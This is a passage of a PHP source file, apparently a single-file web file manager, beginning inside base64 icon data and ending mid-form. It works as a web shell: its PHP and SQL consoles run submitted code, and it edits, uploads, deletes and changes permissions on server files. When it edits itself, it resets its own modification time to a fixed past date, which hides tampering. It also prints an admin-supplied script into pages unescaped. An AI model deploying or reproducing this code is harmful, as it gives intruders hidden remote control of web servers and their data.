0N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
